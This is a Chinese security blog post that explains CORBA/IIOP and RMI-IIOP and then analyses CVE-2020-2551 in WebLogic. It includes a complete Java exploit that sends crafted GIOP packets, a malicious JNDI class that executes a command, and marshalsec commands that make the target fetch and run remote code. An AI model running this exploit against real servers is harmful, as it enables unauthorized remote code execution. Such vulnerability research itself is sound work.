简介

2020年1月,Oracle发布了安全补丁,其中包含编号为CVE-2020-2551,基于CORBA结构下IIOP协议的远程代码执行漏洞。

OMG

Object Management Group,对象管理组织。是一个国际化的、开放成员的、非盈利性的计算机行业标准协会,该协会成立于1989年,其职责是为应用开发提供一个公共框架,制订工业指南和对象管理规范,加快对象技术的发展。OMG还制定了广为人知的中间件标准CommonObject Request Broker Architecture (CORBA)

CORBA

CORBA(Common Object Request Broker Architecture,公共对象请求代理体系结构)是由OMG组织制订的一种标准的面向对象应用程 序体系规范。或者说 CORBA体系结构是OMG为解决分布式处理环境(DCE)中,硬件和软件系统的互连而提出的一种解决方案。

CORBA的重要特征:

​ 1)分布式系统下的跨语言的数据传输

​ 2)远程方法的本地调用

CORBA的三大核心模块:

  • 接口描述语言(或者叫接口定义语言,Interface Definition Language)

  • 对象请求代理(Object Request Broker)

  • IIOP标准(网络ORB交换协议, Internet Inter ORB Protocol)

IDL

IDL(Interface Definition Language)接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言(Ada、C、C++、Smalltalk、Java等)无关的映射,可以将IDL翻译成各种语言,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。

ORB

ORB(Object Request Broker)对象请求代理,是建立Client/Server关系的中间件。使用ORB,一个客户可以很简单地使用服务器对象的方法而不论服务器是在同一机器上还是通过一个网络访问。ORB 截获调用然后负责找到一个对象实现这个请求,传递参数和方法,最后返回结果。客户不用知道对象在哪里,是什么语言实现的,他的操作系统以及其他和对象接口无关的东西。

ORBD

ORBD(The Object Request Broker Daemon)对象请求代理守护程序,当orbd启动时,它还会启动一个命名服务。ORBD用于使客户端能够透明地定位和调用CORBA环境中服务器上的持久对象。

IOR

IOR(Interoperable Object Reference)互操作对象引用,是CORBA或RMI-IIOP中联系方式客户端应用程序用于与CORBA对象进行通信的,用于唯一标识和定位远程CORBA服务器上的对象。IOR是以特定方式编码的文本字符串,它包含足够的信息以允许:

  • 定向到正确服务器的请求(主机,端口号)
  • 要定位或创建的对象(类名,实例数据)

GIOP

GIOP(General Inter-ORB Protocol)通用对象请求代理间通信协议,提供了一个标准传输语法(低层数据表示方法)和ORB之间通信的信息格式集。GIOP只能用在ORB与ORB之间,而且,只能在符合理想条件的面向连接传输协议中使用。它不需要使用更高一层的RPC机制。

IIOP

IIOP(Internet Inter-ORB Protocol)网络对象代理间通信协议,指出如何通过TCP/IP连接交换GIOP信息。它是TCP/IP环境下基本的inter-ORB协议(GIOP的具体实现),最普遍的传输层。
GIOP 不基于任何特别的网络协议,OMG 在最广泛使用的通信传输平台 – TCP/IP 上标准化 GIOP,GIOP 加 TCP/IP 等于 IIOP

POA

POA(Portable Object Adapter)便携式对象适配器,对象适配器是一种机制,服务器端可以创建servant关联的对象引用,并且使用正确的对象引用连接为请求提供服务。

网络协议栈模型

image-20200827150740891

CORBA通信流程

CORBA还可以简单分为三个部分:

  • naming service(ORBD)

  • servant side(CORBA server)

  • client side(CORBA client)

image-20200827170237316

  1. 启动orbd,会创建name service服务。
  2. corba server使用POA创建关联的对象引用,并将对象引用注册绑定到name serviceorbd会拿到注册后的IOR,以供CORBA client查询。
  3. corba clientorbd发起请求获取name serviceorbd返回保存的name service
  4. corba clientname service中查找已经注册的信息获取到“引用”的信息(corba server的地址等),通过orb的连接功能将远程方法调用的请求转发到corba server
  5. corba server通过orb接收请求,并利用POA拦截请求,将请求中所指定的类封装好,同样通过orb的连接功能返回给corba client

stub&skeleton

客户端和服务器并不直接通信,客户与远程对象之间采用的代理方式进行Socket通信。为远程对象分别生成了客户端代理和服务端代理,其中位于客户端的代理类称为Stub即存根(包含服务器Skeleton信息),位于服务端的代理类称为Skeleton即骨干网。

image-20200828001852890

CORBA DEMO

Java自带IDL编译器,创建IDL接口文件:

Hello.idl

1
2
3
4
5
6
7
module HelloApp
{
interface Hello
{
string sayHello();
};
};

模块名称为HelloApp,接口为Hello,包含返回值为string类型的sayHello方法。

IDL client

使用IDL编译器将IDL接口文件转换为IDL client java代码:

1
idlj -fclient Hello.idl

生成HelloApp文件夹,生成5个文件

1
2
3
4
cd HelloApp&&ls

Hello.java HelloHolder.java _HelloStub.java
HelloHelper.java HelloOperations.java

结构及关系:

image-20200829153431485

  • HelloOperations.java接口中定义sayHello()方法
  • Hello.java继承HelloOperations.java
  • _HelloStub.java类实现了Hello接口,client side使用hello接口调用servant side
  • HelloHelper.java类实现网络传输,数据编码和解码的工作。

IDL server

使用IDL编译器将IDL接口文件转换为servant side java代码:

1
idlj -fserver Hello.idl

同样生成HelloApp文件夹,生成3个文件

1
2
3
cd HelloApp&&ls

Hello.java HelloOperations.java HelloPOA.java

结构及关系:

image-20200829165526598

多了HelloPOA.java,其他的和IDL client生成的代码是一样的。

创建HelloImpl.java去继承HelloPOA.java,并完成sayHello方法的具体实现:

1
2
3
4
5
6
7
8
9
10
11
package HelloApp;


public class HelloImpl extends HelloPOA {


@Override
public String sayHello() {
return "Hello, world!";
}
}

客户端代码

ClientSide.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package HelloApp;


import org.omg.CORBA.ORB;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;


public class ClientSide {

static Hello helloImpl;

public static void main(String[] args) throws Exception {

args = new String[4];
args[0] = "-ORBInitialPort";
args[1] = "1050";
args[2] = "-ORBInitialHost";
args[3] = "192.168.50.63";

ORB orb = ORB.init(args, null);

org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");

NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);

String name = "Hello-SERVER";

helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

System.out.println(helloImpl.sayHello());

}
}
  • 创建一个ORB对象
  • 初始化naming service的上下文对象,使用ORB定位Servant SideORB返回naming service的对象引用
  • 根据名称字符串在naming service中获取所需对象的引用。
  • 调用引用对象的方法。

服务端代码

ServantSide.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package HelloApp;

import org.omg.CORBA.ORB;
import org.omg.CORBA.ORBPackage.InvalidName;
import org.omg.CosNaming.NameComponent;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import org.omg.CosNaming.NamingContextPackage.CannotProceed;
import org.omg.CosNaming.NamingContextPackage.NotFound;
import org.omg.PortableServer.POA;
import org.omg.PortableServer.POAHelper;
import org.omg.PortableServer.POAManagerPackage.AdapterInactive;
import org.omg.PortableServer.POAPackage.ServantNotActive;
import org.omg.PortableServer.POAPackage.WrongPolicy;


public class ServantSide {
public static void main(String[] args) throws InvalidName, AdapterInactive, ServantNotActive, WrongPolicy, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {
args = new String[4];
args[0] = "-ORBInitialPort";
args[1] = "1050";
args[2] = "-ORBInitialHost";
args[3] = "192.168.50.63";

ORB orb = ORB.init(args, null);

POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
rootpoa.the_POAManager().activate();
HelloImpl HelloImpl = new HelloImpl();

org.omg.CORBA.Object ref = rootpoa.servant_to_reference(HelloImpl);
Hello hellpRef = HelloHelper.narrow(ref);

org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);

NameComponent path[] = ncRef.to_name("Hello-SERVER");
ncRef.rebind(path, hellpRef);

System.out.println("Server ready and waiting...");

orb.run();
}
}

服务器端的代码流程:

  • 创建并初始化一个ORB实例
  • 获取对根POA的引用并激活 POAManager
  • 创建一个服务实例(一个CORBA Hello对象的实现 )
  • 获取与servant关联的对象引用,并使用narrow()转化为适当的类型。
  • 获取naming service的上下文对象,该对象是ORB返回naming service的对象引用。
  • naming service上下文对象中以Hello-SERVER名称注册新对象引用
  • 等待客户端对新对象的调用

ORB

启动JDK自带的ORBD,包含Naming Service

1
orbd -ORBInitialPort 1050 -ORBInitialHost 192.168.50.63

DEMO运行

整个目录结构如下:

image-20200829185121557

首先启动ORB,接着启动ServantSide,最后运行ClientSide完成sayHello调用。

RMI-IIOP

以前,Java 程序员必须针对分布式编程解决方案在 RMI 和 CORBA/IIOP (Java IDL) 之间进行选择。现在,通过遵循一些限制(请参阅在 IIOP 上运行 RMI 程序时的一些限制),RMI 服务器对象可以使用 IIOP 协议,并与任何语言编写的 CORBA 客户端对象进行通信。该解决方案被称为 RMI-IIOP。 RMI-IIOP 结合了 RMI 的易用性与 CORBA 的跨语言互操作性。

DEMO

  • 通过JDK自带的ORBD开启Naming Service
  • 定义接口类,继承java.rmi.Remote,并且接口中的全部方法抛出RemoteException异常。
  • 编写接口实现类,实现接口具体操作。
  • 编写服务端类,过程和RMI相似,绑定Name和远程对象到Naming Service,运行服务端等待客户端连接。
  • 编写客户端类,客户端去Naming Service查询获取服务端信息,连接并调用。

HelloInterface.java

1
2
3
4
5
import java.rmi.Remote;

public interface HelloInterface extends java.rmi.Remote {
public void sayHello( String from ) throws java.rmi.RemoteException;
}

HelloImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
import javax.rmi.PortableRemoteObject;

public class HelloImpl extends PortableRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super(); // invoke rmi linking and remote object initialization
}

public void sayHello( String from ) throws java.rmi.RemoteException {
System.out.println( "Hello from " + from + "!!" );
System.out.flush();
}
}

HelloServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

public static void main(String[] args) {
try {
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();

//使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);

System.out.println("Hello Server Ready...");

Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}

private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

HelloClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
public static void main( String args[] ) {
Context ic;
Object objref;
HelloInterface hi;

try {

Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");

ic = new InitialContext(env);

// STEP 1: Get the Object reference from the Name Service
// using JNDI call.
objref = ic.lookup("HelloService");
System.out.println("Client: Obtained a ref. to Hello server.");

// STEP 2: Narrow the object reference to the concrete type and
// invoke the method.
hi = (HelloInterface) PortableRemoteObject.narrow(
objref, HelloInterface.class);
hi.sayHello( " MARS " );

} catch( Exception e ) {
System.err.println( "Exception " + e + "Caught" );
e.printStackTrace( );
}
}
}

javac编译

1
javac -Xlint:unchecked -d . -classpath . HelloImpl.java HelloServer.java HelloClient.java

rmic编译

1
rmic -iiop HelloImpl

生成两个class文件_HelloImpl_Tie.class(skeleton)和_HelloInterface_Stub.class(stub)

启动JDK自带的ORBD,包含Naming Service

1
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1

运行服务端:

1
java -classpath .  HelloServer

运行客户端:

1
java -classpath .  HelloClient

CVE-2020-2551分析

漏洞环境:

  • java version “1.8.0_112”
  • WebLogic 12.2.1.4.0(WebLogic 12.2.1.3.0进行测试失败,不知为何coherence组件不完整)
  • IDEA DEBUG

复现

Weblogic开启远程调试:

1
vim /root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

添加配置代码:

1
2
debugFlag="true"
export debugFlag

image-20200716123537882

Middleware目录下提取全部的jarwar包到test目录。

1
2
3
4
cd /Users/rai4over/Desktop/weblogic/weblogic_jars/Oracle/Middleware
mkdir test
find ./ -name "*.jar" -exec cp {} ./test/ \;
find ./ -name "*.war" -exec cp {} ./test/ \;

新建IDEA项目,然后添加包含test目录到项目的Libraries

image-20200716152551189

设置DEBUG模式为Remote,端口为与docker映射出去相同的8453

image-20200830202253770

运行DEBUG,没有问题则调试端口连接成功,控制台应该输出:

1
Connected to the target VM, address: 'localhost:8453', transport: 'socket'

开启恶意rmi服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:80/\#Exploit 1099

创建恶意类Exploit.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Exploit implements ObjectFactory
{

static {
System.err.println("Pwned");
try {
String[] cmd = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
java.lang.Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}

编译后同目录使用python开启FTP

1
python3 -m http.server --bind 0.0.0.0 80

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
package CVE20202551;

import cn.hutool.core.util.HexUtil;
import cn.hutool.core.util.ReUtil;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
* Title: NewPoc
* Descrption: TODO
* Date:2020/2/26 4:23 下午
* Email:woo0nise@gmail.com
* Company:www.r4v3zn.com
*
* @author R4v3zn
* @version 1.0.0
*/
public class exp {

public static void main(String[] args) throws Exception {
String ip = "127.0.0.1";
int port = 7001;
String ldapUrl = "rmi://127.0.0.1:1099/exp";
poc(ip,port,ldapUrl);
}

public static void poc(String ip, Integer port, String url) throws Exception {
String version = getVersion(ip, port);
System.out.println("weblogic version --> "+version);
Socket socket = null;
try {
socket = new Socket(ip, port);
} catch (IOException e) {
System.out.println("vul error");
return;
}
/* iiop == 1 */
String nameServerMsg = "47494f50010200030000001700000002000000000000000b4e616d6553657276696365";
byte[] nameServerByte = new byte[0];
try {
nameServerByte = sendSocket(nameServerMsg, socket);
} catch (Exception e) {
System.out.println("vul error");
return;
}
String nameServerHex = binaryToHexString(nameServerByte);
// get key
String key = getKeyHex(nameServerHex, true);
if("".equals(key)){
return;
}
// 提取 NAT 网络 IP
String iiopIp = "iiop://"+getIp(new String(nameServerByte));
// key length
String keyLength = addZeroForNum(Integer.toHexString(key.length()/2), 8);
/* iiop == 2 */
// op=_non_existent
String newSend = "000000030300000000000000"+keyLength+key+"0000000e5f6e6f6e5f6578697374656e7400000000000006000000050000001800000000000000010000000a3132372e302e312e3100d80100000006000000f0000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f6465426173653a312e30000000000100000000000000b4000102000000000a3132372e302e312e3100d8010000006400424541080103000000000100000000000000000000002849444c3a6f6d672e6f72672f53656e64696e67436f6e746578742f436f6465426173653a312e30000000000331320000000000014245412c000000100000000000000000171db96932f5c18300000001000000010000002c0000000000010020000000030001002000010001050100010001010000000003000101000001010905010001000000010000000c0000000000010020050100010000000f0000002000000000000000000000000000000001000000000000000001000000000000004245410000000005000c020103000000"+setIpHex(iiopIp);
newSend = "47494f5001020000"+addZeroForNum(Integer.toHexString(newSend.length()/2),8)+newSend;
byte[] existentByte = sendSocket(newSend, socket);
// get new key
String newKey = getKeyHex(binaryToHexString(existentByte), false);
if(!"".equals(newKey) && newKey != null){
key = newKey;
}
// key length
keyLength = addZeroForNum(Integer.toHexString(key.length()/2), 8);
/* iiop == 3 */
// op=_non_existent
newSend = "000000040300000000000000"+keyLength+key+"0000000e5f6e6f6e5f6578697374656e7400000000000001"+setIpHex(iiopIp);
newSend = "47494f5001020000"+addZeroForNum(Integer.toHexString(newSend.length()/2),8)+newSend;
sendSocket(newSend, socket);
/* iiop == 4 */
// op=bind_nay
bindAny(key, keyLength, url, socket, version);
}

public static void bindAny(String key, String keyLength,String url, Socket socket, String version) throws Exception {
String checkHex = "47494f50010200010000000d00000004000000000000000000";
// header + length
String header = "47494f5001020000" ;
// request id
String requestId = "00000005";
// response flags
String responseFlags = "03";
// reserved
String reserved = "000000";
// target address
String targetAddress = "0000"+"0000";
// operation length + operation
String operationLength = "0000000962696e645f616e7900";
// body length
String dataLength = addZeroForNum("",8);
String serviceContextList = "00000000000000";
String subData = "";
String tmp = header+dataLength+requestId+responseFlags+reserved+targetAddress+keyLength+key+operationLength+serviceContextList;
System.out.println("字节码余 --> "+(tmp.length()%16));
String padding = "";
int paddingCount = (tmp.length()%16)/2;
// 计算填充字节码
if (paddingCount > 0){
for (int i = 0; i < paddingCount; i++ ) {
padding += "00";
}
}
serviceContextList += padding;
String urlLength = addZeroForNum(Integer.toHexString(url.length()),8);
if(version.contains("12.2.1.3")||version.contains("12.2.1.4")){
/**
* weblogic 12.2.1.3.0 版本 or weblogic 12.2.1.4.0 版本
*/
subData = "000000010000000568656c6c6f00000000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0200000074524d493a636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e6a74612e4a74615472616e73616374696f6e4d616e616765723a413235363030344146343946393942343a3143464133393637334232343037324400ffffffff0001010000000000000001010101000000000000000000007fffff020000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000";
}else if(version.contains("10.3.6.0") || version.contains("12.1.3.0")){
/*
weblogic 10.3.6.0.0 版本 or weblogic 12.1.3.0.0 版本
*/
subData += "000000010000000568656c6c6f00000000000001000000000000001d0000001c000000000000000100000000000000010000000000000000000000007fffff0200000074524d493a636f6d2e6265612e636f72652e72657061636b616765642e737072696e676672616d65776f726b2e7472616e73616374696f6e2e6a74612e4a74615472616e73616374696f6e4d616e616765723a304433303438453037423144334237423a3445463345434642423632383938324600ffffffff0001010000000000000001010100000000000000000000007fffff020000002349444c3a6f6d672e6f72672f434f5242412f57537472696e6756616c75653a312e300000";
}else{
System.out.println("vul error");
return;
}
subData += addZeroForNum(Integer.toHexString(url.length()),8);
subData += HexUtil.encodeHexStr(url);
String body = requestId + responseFlags + reserved + targetAddress + keyLength + key + operationLength + serviceContextList + subData;
header += (addZeroForNum(Integer.toHexString(body.length()/2),8)+body);
byte[] bindAnyByte = sendSocket(header, socket);
String bindAny = new String(bindAnyByte);
String bindAnyHex = binaryToHexString(bindAnyByte);
if(bindAny.contains("omg.org/CORBA/MARSHAL:1.0") || checkHex.equals(bindAnyHex) || bindAny.contains("AlreadyBound")){
System.out.println("vul ok");
}else{
System.out.println("vul error");
}
}

/**
* <p>
* get weblogic version
* First get reponse body
* Second get version element by Jsoup
* End get version by regex
* if get version return version data
* </p>
* @param url weblogic url
* @return weblogic version
*/
public static String getVersion(String ip, Integer port) {
String webLogicUrl = "http://"+ip+":"+port;
String version = getVersionByHttp(webLogicUrl);
if("".equals(version)){
version = getVersionByT3(ip, port);
}
return version;
}

/**
* 通过 HTTP 获取 weblogic 版本
* @param url url
* @return 版本号
*/
public static String getVersionByHttp(String url){
String version = "";
url += "/console/login/LoginForm.jsp";
try {
Document doc = Jsoup.connect(url).get();
String versionTmpStr = doc.getElementById("footerVersion").text();
version = getVersion(versionTmpStr);
} catch (Exception e) {
version = "";
}
return version;
}

/**
* 通过 T3 获取 weblogic 版本
* @param ip ip
* @param port 端口
* @return 版本号
*/
public static String getVersionByT3(String ip, Integer port) {
String getVersionMsg = "74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a50553a74333a2f2f75732d6c2d627265656e733a373030310a0a";
String version = "";
try {
Socket socket = new Socket(ip, port);
byte[] rspByte = sendSocket(getVersionMsg, socket);
socket.close();
version = getVersion(new String(rspByte));
} catch (Exception e) {
version = "";
}
return version;
}

public static String getVersion(String content){
content = content.replace("HELO:", "").replace(".false","").replace(".true", "");
String getVersionRegex = "[\\d\\.]+";
List<String> result = ReUtil.findAll(getVersionRegex, content, 0 , new ArrayList<String>());
return result != null && result.size() > 0 ? result.get(0) : "";
}

/**
* 读取响应数据内容
* @param sendMessage 发送内容
* @param socket socket 链接
* @return
* @throws Exception
*/
public static byte[] sendSocket(String sendMessage,Socket socket) throws Exception {
OutputStream out = socket.getOutputStream();
InputStream is = socket.getInputStream();
out.write(hexStrToBinaryStr(sendMessage));
out.flush();
byte[] bytes = new byte[4096];
int length = is.read(bytes);
return Arrays.copyOfRange(bytes, 0,length);
}

public static String addZeroForNum(String str, int strLength) {
int strLen = str.length();
if (strLen < strLength) {
while (strLen < strLength) {
StringBuffer sb = new StringBuffer();
sb.append("0").append(str);// 左补0
// sb.append(str).append("0");//右补0
str = sb.toString();
strLen = str.length();
}
}
return str;
}

/**
* 提取响应内容中的host
* @param content 响应内容信息
* @return
*/
public static String getIp(String content){
Pattern p=Pattern.compile("https?://([\\w\\:.-]+)/");
Matcher m=p.matcher(content);
String ip = "";
if(m.find()){
ip = m.group(1);
}
return ip;
}

/**
* 生成 IP hex码
* @param ip ip地址
* @return
*/
public static String setIpHex(String ip){
return "4245410e000000"+Integer.toHexString(ip.length()+9)+"00000000000000"+Integer.toHexString(ip.length()+1)+HexUtil.encodeHexStr(ip)+"00";
}

/**
* 提取 key hex
* @param rspHex 内容
* @return key hex
*/
public static String getKeyHex(String rspHex, final Boolean flag){
String startHex = "00424541";
int startIndex = -1;
if(flag){
startIndex = rspHex.indexOf(startHex);
}else if(rspHex.contains("0000000300000000")){
return null;
}else{
startIndex = rspHex.lastIndexOf(startHex);
}
if(startIndex != -1) {
int keyLength = Integer.parseInt(rspHex.substring(startIndex-8, startIndex), 16);
// 提取key
return rspHex.substring(startIndex, startIndex + keyLength*2);
}else{
return null;
}
}

/**
* 二进制转换为十六进制
* @param bytes byte数组
* @return 16进制字符串
*/
public static String binaryToHexString(byte[] bytes) {
String hexStr = "0123456789abcdef";
String result = "";
String hex = "";
for (byte b : bytes) {
hex = String.valueOf(hexStr.charAt((b & 0xF0) >> 4));
hex += String.valueOf(hexStr.charAt(b & 0x0F));
result += hex + "";
}
return result;
}

public static byte[] hexStrToBinaryStr(String hexString) {
hexString = hexString.replaceAll(" ", "");
int len = hexString.length();
int index = 0;
byte[] bytes = new byte[len / 2];
while (index < len) {
String sub = hexString.substring(index, index + 2);
bytes[index/2] = (byte)Integer.parseInt(sub,16);
index += 2;
}
return bytes;
}
}

完成RCE,弹出计算器

调试

可以发现EXP的攻击方式为rebind,根据CORBA来看攻击方式,开启IIOPWeblogic属于ORBD角色并提供了Naming Service,而攻击方则扮演恶意向Naming Service注册的servant side

根据描述,在关键位置JtaTransactionManagerreadObject断点

com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#readObject

image-20200830182432316

跟进initUserTransactionAndTransactionManager函数

com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#initUserTransactionAndTransactionManager

image-20200830183122465

根据this.userTransactionStringUtils.hasLength(this.userTransactionName)进入if分支,并调用lookupUserTransaction函数。

com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager#lookupUserTransaction

image-20200830183256267

lookup的参数为恶意rmi服务地址,进行JNDI注入,完成RCE

参考

https://blog.csdn.net/wangzhezhilu001/article/details/104041995

https://www.cnblogs.com/nliao/p/3308669.html

[https://lucifaer.com/2020/02/20/Java%20CORBA%E7%A0%94%E7%A9%B6/](https://lucifaer.com/2020/02/20/Java CORBA研究/)

https://github.com/johnngugi/CORBA-Example

https://docs.oracle.com/javase/7/docs/technotes/guides/idl/tutorial/GSserver.html

https://docs.oracle.com/javase/7/docs/technotes/guides/idl/tutorial/GSapp.html

https://www.ibm.com/support/knowledgecenter/zh/SSYKE2_7.0.0/com.ibm.java.lnx.70.doc/rmi-iiop/overview.html